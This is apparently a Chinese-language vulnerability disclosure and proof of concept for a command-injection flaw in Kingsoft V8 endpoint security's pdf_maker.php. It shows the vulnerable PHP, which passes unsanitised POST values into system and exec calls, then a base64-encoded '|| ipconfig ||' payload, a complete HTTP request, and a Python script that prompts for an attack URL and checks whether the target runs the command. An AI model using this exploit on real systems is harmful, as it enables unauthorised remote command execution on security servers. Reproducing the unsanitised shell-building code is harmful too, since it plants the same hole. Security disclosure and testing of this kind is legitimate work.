漏洞描述

金山 V8 终端安全系统 pdf_maker.php 存在命令执行漏洞，由于没有过滤危险字符，导致构造特殊字符即可进行命令拼接执行任意命令

漏洞影响

金山 V8 终端安全系统

漏洞复现

V8安装包 地址

http://duba-011.duba.net/netversion/Package/KAVNETV8Plus.iso

存在漏洞的文件为

Kingsoft\Security Manager\SystemCenter\Console\inter\pdf_maker.php

<?php
require_once (dirname(__FILE__)."\\common\\HTTPrequest_SCpost.php");
/*
{
   "kptl" :
{
"set_exportpdf_cmd" :
    {
    "url" : "http://172.18.254.146/report/system/main.php?userSession=5784727B-7AEA-4EFE-B0CB-DDD6DA1CABD3&guid=1AC380D9-                580C-49A8-B6EC-787CF50FA928&VHierarchyID=ADMIN",
    "fileName":"test.pdf"
    }
}
*/


  //$post = file_get_contents("php://input");

  /*
  $post = array("kptl"=>
      array("set_exportpdf_cmd"=>array(
        "url"=>"http://172.18.254.146/report/system/main.php?userSession=5784727B-7AEA-4EFE-B0CB-DDD6DA1CABD3&guid=1AC380D9-580C-49A8-B6EC-787CF50FA928&VHierarchyID=ADMIN",
        "fileName"=>"test1234.pdf"
        )
      ));
      */






  $url = $_POST["url"];
  $fileName =  $_POST["fileName"];
  $batName=$fileName;
  if ($url == null || $fileName == null)
  {
    $return["nResult"] = __LINE__;
    echo json_encode($return,JSON_UNESCAPED_UNICODE);
    return ;
  }

  $url = base64_decode($url);
  $nameStr = base64_decode($fileName).date("Y-m-d").".pdf";
  $fileName="..\\htmltopdf\\".$nameStr;

  system('mkdir ..\\htmltopdf');


  $cmd = '..\\..\\wkhtmltopdf.exe "'.$url.'" '.$fileName;
  if (getApacheVersion()>=24) { //apache 2.4 php 7 版本 只能在  bat中运行
    $cmd =" del ".$fileName;

    exec($cmd);
    $url_= str_replace('%','%%', $url);
    $cmd = '..\\..\\wkhtmltopdf.exe "'.$url_.'" '.$fileName;
    $batName ="exec_wkhtmltopdf.bat";
    $myfile = fopen($batName , "w");
    //$cmd =iconv("UTF-8", "gbk", $cmd );
    fwrite($myfile, $cmd);
    fclose($myfile);
    $cmd =$batName ;
    exec($cmd);
    $cmd =" del ".$batName;
    exec($cmd);
    }else
    {
  system($cmd);
    }
  // echo $url;
  $return = array("nResult" => "0","fileName" =>$nameStr,"url"=>$url);
  echo json_encode($return,JSON_UNESCAPED_UNICODE);

?>

这里传入 base64加密的拼接命令即可执行任意命令
"|| ipconfig || --base64--> url=IiB8fCBpcGNvbmZpZyB8fA==&fileName=xxx

POST /inter/pdf_maker.php HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 45
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=noei1ghcv9rqgp58jf79991n04

url=IiB8fCBpcGNvbmZpZyB8fA%3D%3D&fileName=xxx

POC

import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def POC_1(target_url):
    vuln_url = target_url + "/inter/pdf_maker.php"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = "url=IiB8fCBpcGNvbmZpZyB8fA==&fileName=xxx"
    try:
        response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
        if "Windows" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {} 存在漏洞 ,执行 ipconfig, 响应为:\n{} \033[0m".format(target_url, response.text))
        else:
            print("\033[31m[x] 不存在漏洞 \033[0m")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)


if __name__ == '__main__':
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)